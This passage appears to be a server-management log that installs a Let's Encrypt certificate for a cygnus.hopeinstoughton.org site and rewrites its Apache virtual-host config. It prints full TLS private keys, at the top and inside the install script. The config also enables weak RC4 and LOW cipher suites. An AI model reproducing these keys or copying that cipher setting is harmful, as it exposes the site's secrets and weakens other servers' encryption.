6uBlKa2kH2uvoPzWfbxIBTn66mIVDup+nlCxH+tiIQKBgQD92Gqe2VyJZibqPFHg
WjTOIiXxN98r6FEReeCqVKbTskPxmypxYhCQ2oNlxCq3IO/O6xjdTFKKUSaJXGn/
v9Q5HjXDuLzCk8c9KXLrK+dxFFstLdhTOami2mqPlD7+C1ksu8NC9YPA3p0PaPDY
OH/PfqplUd8uQOKCBeKTUJ2dewKBgQC/CLUXyvv1IfTycSniSByzeOmQSFAm6VtT
0gzeQfjMjPnyiMkgiYGU08vu+97SjYHCFAKQlihgRIHwilncJR5nDrxtZE4mDWdm
G9ONeIDzwgq18nfQD8jByqrDA2XJbRON88mMNsAe38l7RPV8hd2ACa77e/DiL5md
s4vBA7tZGQKBgHD+CFe1AU/XvLK/LuLixGaNJL5+1ERDIPLagXrQO4I38650Fyxp
Ll6MJbkC3NCvRI+ibmrzMjqHbNPv4u8IgHr8S4pXjQ4/oYxECvdLj7XyDbPKmGRT
YoMvHgfTQUbr3kHfQkdn6cHMVbUqTSqx25KNG2QGUYXRNAIUhIp2c/JJAoGBAIbU
7nxMmGj7/pbfqGA95YQG41Mitu+/5OXUa6Czj5dQKVo1kT+Vzg/tLRMQUsTpe5wv
41+JnBXWRKAyBhqLWFoE3JmZIk9ZRpGbMkW3t8xUOJsS992yRlABa2UZEM6KXjLi
zm5YdmFUMjD/CwVItn2YWBjH8cyzLAlSoGEq8SCBAoGAVQ7cmQn9f8gkRv4dUM6a
R6KJQ+Zap6fHIjc2CPkieYlKvQWCidxh6vzu+VwpxvVrZn06z9ms6/KDZlS/bShI
HGabu5fxhKSNhpq40Uhmqz+m4EbfW2DcsUBgpk3wrTOZwLDv0t8Uini411q860qp
xj/rx5ZI10DjrhfelkF2Rd0=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-07-18 06:01:21: Establishing a connection
2026-07-18 06:01:22: Establishing a connection
2026-07-18 06:01:23: 

PUT: /tmp/pkp380056

#!/bin/bash
if [ -d "/var/www/cygnus/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-18 06:01:24: 

chmod 755 /tmp/pkp380056; /tmp/pkp380056; rm /tmp/pkp380056

2026-07-18 06:01:24: 


0


2026-07-18 06:01:42: Establishing a connection
2026-07-18 06:01:43: 

PUT: /tmp/pkp319794

#!/bin/bash
temp_file=$(mktemp)
TARGET=de5c0e727038623f544d9b5f10eaf734

cat > $temp_file <<'endmsg'
9f:65:5f:ea:75:1c:1a:5e:89:50:f4:bf:08:a0:1d:df

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBSMszS3CMCSh6hFFZfPOCY2xMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzE4MDUwMzEyWhcNMjYxMDE2MDUwMzExWjAlMSMwIQYDVQQD
ExpjeWdudXMuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAL8IpChNxuG1m/0YnniSLTlKMYfmpJZyLOND2IEiRcPlwms+
K1SVAhclJvlQ7moRlcb8jacuR05ZnBBPCuz7Gzw8nkZrSd9qvuZgkZCEivJfxbgk
qMDwrFf3pAFuilK/Vy33rlBuoREiPg666AnpHULQBo8wOBFvONQ7NMvXfykl4WPy
o2fWtqM/toaGk769UwcqBIbyageh/WNsw0G3OxpDG+X2Xd36ieqUl8Jg5atsdcmD
xd8QrMOkKToySfrmDjGsYM9iNvD8LEbRrEkg8M4ExMRo5Qk8yTrPI6JfAlJlMTnp
UGX5B62ol+ORGlWGEKcU1d8fkVKgQgh62rQWv8cCAwEAAaOCAigwggIkMA4GA1Ud
DwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBS1ANCrl+r0+hIqd8eHS9CvCunvDzAfBgNVHSMEGDAWgBRAFS0mee0y
IJ7fmnId1jIfgQyBDDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly95cjIuaS5sZW5jci5vcmcvMCUGA1UdEQQeMByCGmN5Z251cy5ob3BlaW5zdG91
Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly95cjIuYy5sZW5jci5vcmcvNTAuY3JsMIIBDAYKKwYBBAHWeQIEAgSB
/QSB+gD4AHUAlE5Dh/rswe+B8xkkJqgYZQHH0184AgE/cmd9VTcuGdgAAAGfc9D1
wwAABAMARjBEAiAGHudoevgVSL0rqKiv4tw+gWQ6ayyTvVwMpTxfDwNbeAIgNq9x
9kD0NujlCCGVXCxnxvFnkwLrEqC5sKDalXIdsiwAfwBGr4Y9Oz7ln6V33qgkXTaw
2e0ioiP0YXdBIpRS7pVQXwAAAZ9z0PZkAAgAAAUADXLuQwQDAEgwRgIhANBP7BVq
SVcLc6ZwvLH11/KECunX+fAi1FImEviyjQcKAiEA7d/7lFfS1uUi2boKMpTrGsXJ
oYPi6TDU/wPpWolX7yAwDQYJKoZIhvcNAQELBQADggEBAKBmeFuZkvCXgK5IBxuL
ykRFcT6mLCxmay7yddXK9ggfifhCrLSAfyf7ejtc/pRwVlyDsqW4z1U7Jv6CA/0b
8yD4I663tM81XhkTOEl9wFN8fWxWhPD/tGIgZ21gUqk8q4KEWxfK1MKaInTkzvBo
iLZJ2uv3+xgda99DCDZRLud9DSKsPw46ByvuWO3wDP/TrD53ad7W8FdM7hkIWeod
I5L+Gg7EF3b+34/hhcvl5/QtcLlrDxZw8SUuUg75IhXjnz08O9O6WeuCdsyIxQqk
10kjc+127hbH5JcXh2ajNmlt3o45ybXMSzYVcDGBfJ2qEn+8+sz9mqZIynavZXw8
LKs=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC/CKQoTcbhtZv9
GJ54ki05SjGH5qSWcizjQ9iBIkXD5cJrPitUlQIXJSb5UO5qEZXG/I2nLkdOWZwQ
Twrs+xs8PJ5Ga0nfar7mYJGQhIryX8W4JKjA8KxX96QBbopSv1ct965QbqERIj4O
uugJ6R1C0AaPMDgRbzjUOzTL138pJeFj8qNn1rajP7aGhpO+vVMHKgSG8moHof1j
bMNBtzsaQxvl9l3d+onqlJfCYOWrbHXJg8XfEKzDpCk6Mkn65g4xrGDPYjbw/CxG
0axJIPDOBMTEaOUJPMk6zyOiXwJSZTE56VBl+QetqJfjkRpVhhCnFNXfH5FSoEII
etq0Fr/HAgMBAAECggEADdTJVeWztZnZjmye5KnovlIh3e4UEpR3rYi2/zqFBJb5
CZy5tGkJerWE6d4zNNjLGFomw2j1XrXcN84RQ3E22pik+QJBmfx3j+SEBYujJ8NJ
ZHi7AyUpxUC3zia7uxwBauGY7FfmL4BkL9rWfAk1xiWbo/hgxtpfqfYTb4LNwSPN
9M9OWbecqefJ7eQJl/1M74kZNAHtVI48w5Id+jqjZ2D/Mps64jMdWJy/hGLi4zw6
0+wnc6sPsfVh0JBEemVF+YVgkUHcIxL/x5C4wRccq/K7l6wsTj6/Ym3xKWC5U9JB
yrF3Bf8m3UWv/3HHRTDjDMAPfg3pnDEnNU0vU2ndIQKBgQDehNk0k49GP0GfVzq3
O2JczQEcn80x8rX0PKuzXIWZBwgKUlDs+jadHlepSZNjO3Ozd1sLDVbSC/0glGLU
zr4Vt9n19w/cs931Kh2XjPaEtbzayzj+O9XXuBEvdcQWT8x6NuQ03PW7Lfr6b4Ex
I7PEQP7REwyLoKQf6AWL+znhMQKBgQDbxwXXAiPPeq6FXv3EcwOCq/7kSE4YmhkD
ms9wBKsZCY1Cem2FUGx+e04+NHp2nY3uf7/GGs15HjXNP//ZmC41gZJtE6UzZa6m
wuarl/ixGHmS+03KuZlapxZ01NULKipZ1xbtRhqBZv4Ynho7Jg0zVLUpo837fiZ2
ssDp6IuydwKBgCGPL6L6TjVt/NunMDfKQP91+6DxiOTrkf2P2OVoIs39fXzxBTt4
URxJIzdo3U2t/bknWxfDn0B2hmqPdohZ1dk4rSqnZEEI74S2IVhl7hf9wMnOtH3D
UHEEVbMus7AZwOD9vlUqrfTY7m0uu/FJTSdgFg46LT4xsA8P0yZVcVlBAoGAIxBl
xh/5Rqj0HyNAqY8QCFEYoaNHknVDeGfCoMSd56i2eNy/jH2AUc2qdhI5V6Nbeam4
Fws/rQs82jpTv4ugE7lQe0afHMwkSUbfNpFQhDC7dM/TYXyrEuOFma47L0TS7PJ8
He8JW4vrDlJrLPStNntVTAduXamKyXVLggYwA5ECgYBuMUQAe0/BfF4vvD4BlBAD
YPfE4xezhl6h4isNLAR/d2rM0BLpRg9jKKZe9bw/Xmr+Qonrf1ub7q6L93jmEyKD
CRhooJ5EZBNaRxJMPbUmIyZS4rGMdCn606dJ3vFYnI5zeJDipqAYTF1wDHJN1jh9
as3jPkmatoAcD6/D7pYugw==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-18 06:01:44: 

chmod 755 /tmp/pkp319794; /tmp/pkp319794; rm /tmp/pkp319794

2026-07-18 06:01:44: 


dir=/etc/ssl/certs


2026-07-18 06:01:44: 

PUT: /tmp/pkp913664

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-18 06:01:44: 

chmod 755 /tmp/pkp913664; /tmp/pkp913664; rm /tmp/pkp913664

2026-07-18 06:01:45: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf 50
<VirtualHost *:80>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/qwerty/(.*) ws://192.168.1.19/$1  [P,L]
    
    #<Location /qwerty/>
#    ProxyHTMLEnable On
#    ProxyHTMLExtended On
#   ProxyPassReverse /
#   SetOutputFilter  proxy-html
#   ProxyHTMLURLMap / ./
#</Location>
#    ProxyPass  /qwerty/ http://192.168.1.19/
#    ProxyPassReverse /qwerty/ http://192.168.1.19/
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
</VirtualHost>






2026-07-18 06:01:45: 

PUT: /tmp/pkp514840

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cygnus_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
